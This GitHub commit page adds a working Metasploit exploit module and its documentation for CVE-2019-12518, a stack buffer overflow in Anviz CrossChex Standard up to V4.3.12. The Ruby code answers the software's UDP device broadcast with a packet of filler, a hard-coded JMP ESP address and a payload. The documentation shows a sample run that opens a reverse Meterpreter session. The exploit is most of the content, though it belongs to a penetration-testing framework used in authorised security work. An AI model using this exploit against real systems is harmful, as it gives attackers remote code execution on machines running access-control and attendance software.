Skip to content
Permalink
Browse files

Land #12902, Add exploit module for crosschex buffer overflow

  • Loading branch information
dwelch-r7 committed Feb 13, 2020
2 parents 556ad5f + cbcf8a2 commit 0e55e20c9c3453af19827e284df32a1b9dbaaf69
@@ -0,0 +1,57 @@
## Introduction

CrossChex is a personnel identity verification, access control, and time attendance management system compatible with Windows 7,8 & 10. It uses UDP broadcasts to identify and connect with Access Control devices on a network. The code used to handle a response from an Access Control device is vulnerable to a Stack Buffer Overflow attack on CrossChex versions `Crosschex Standard x86 <= V4.3.12`. Tracked as CVE-2019-12518, and as such permits abritrary code execution.

The code used to overflow the Stack Buffer and code an attacker wishes to be executed as a result of the exploit are sent in a single UDP packet as a response to the CrossChex broadcast. As both the exploit and the payload must be contained inside a single UDP packet, an exploit has a maximum size of `8947 Characters`.

This module exploits CVE-2019-12518 by listening for a CrossChex "new device" broadcast for a given number of seconds (`TIMEOUT`). It then responds with a UDP packet containing shellcode for both the Buffer Overflow exploit and the attacker's chosen payload. The `Space` payload option ensures no payload of too large a size is used to ensure successful explotation. If a broadcast is not detected within the given `TIMEOUT`, the module exits with a warning.

## Verification Steps

1. Start `msfconsole`
2. `use windows/misc/crosschex_device_bof`
3. `set LHOST vboxnet0`
4. `run`
5. Open CrossChex
6. Navigate to Device > Add
7. Select `Search`
8. Verify payload executes correctly

## Options

1. `TIMEOUT` Seconds module waits for broadcast, defaults to `1000`.
2. `CHOST`. Address UDP packet response is sent from. Defaults to `0.0.0.0`.
3. `CPORT`. Port UDP packet response is sent from. Defaults to `5050` as CrossChex expects communication from this port.

## Compatible Payloads

Any basic x86 windows payload.

## Payload Options
As above.

## Scenarios

```
msf5 exploit(windows/misc/crosschex_device_bof) > run
[*] Started reverse TCP handler on 192.168.56.1:4444
[*] CrossChex broadcast received, sending payload in response
[*] Payload sent
[*] Sending stage (180291 bytes) to 192.168.56.3
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.3:49160) at 2020-02-10 16:21:13 +0000
meterpreter > ls
Listing: C:\Program Files\Anviz\CrossChex Standard
==================================================
...
```

## References

1. <https://cvedetails.com/cve/CVE-2019-12518>
2. <https://www.0x90.zone/multiple/reverse/2019/11/28/Anviz-pwn.html>
3. <https://www.exploit-db.com/exploits/47734>
@@ -0,0 +1,78 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
PACKET_LEN = 10

include Msf::Exploit::Remote::Udp

def initialize(info = {})
super(update_info(info,
'Name' => 'Anviz CrossChex Buffer Overflow',
'Description' => %q{
Waits for broadcasts from Ainz CrossChex looking for new devices, and returns a custom broadcast,
triggering a stack buffer overflow.
},
'Author' =>
[
'Luis Catarino <lcatarino@protonmail.com>', # original discovery/exploit
'Pedro Rodrigues <pedrosousarodrigues@protonmail.com>', # original discovery/exploit
'agalway-r7', # Module creation
'adfoster-r7' # Module creation
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2019-12518'],
['URL', 'https://www.0x90.zone/multiple/reverse/2019/11/28/Anviz-pwn.html'],
['EDB', '47734']
],
'Payload' =>
{
'Space' => 8947,
'DisableNops' => true
},
'Arch' => ARCH_X86,
'EncoderType' => Msf::Encoder::Type::Raw,
'Privileged' => true,
'Platform' => 'win',
'DisclosureDate' => '2019-11-28',
'Targets' =>
[
[
'Crosschex Standard x86 <= V4.3.12',
{}
]
],
'DefaultTarget' => 0
))
deregister_udp_options
register_options(
[
Opt::CPORT(5050, true, 'Port used to listen for CrossChex Broadcast.'),
Opt::CHOST("0.0.0.0", true, 'IP address that UDP Socket listens for CrossChex broadcast on. \'0.0.0.0\' is needed to receive broadcasts.'),
OptInt.new('TIMEOUT', [true, 'Time in seconds to wait for a CrossChex broadcast. 0 or less waits indefinitely.', 100])
])
end

def exploit
connect_udp

res, host, port = udp_sock.recvfrom(PACKET_LEN, datastore["TIMEOUT"].to_i > 0 ? (datastore["TIMEOUT"].to_i) : (nil))
if res.empty?
fail_with(Failure::TimeoutExpired, "Module timed out waiting for CrossChex broadcast")
end

print_status "CrossChex broadcast received, sending payload in response"
sploit = rand_text_english(261)
sploit << "\x07\x18\x42\x00" # Overwrites EIP with address of 'JMP ESP' assembly command found in CrossChex data
sploit << rand_text_english(4) # Positions payload to be written at beginning of ESP
sploit << payload.encoded

udp_sock.sendto(sploit, host, port)
print_status "Payload sent"
end
end

0 comments on commit 0e55e20

Please sign in to comment.
You can’t perform that action at this time.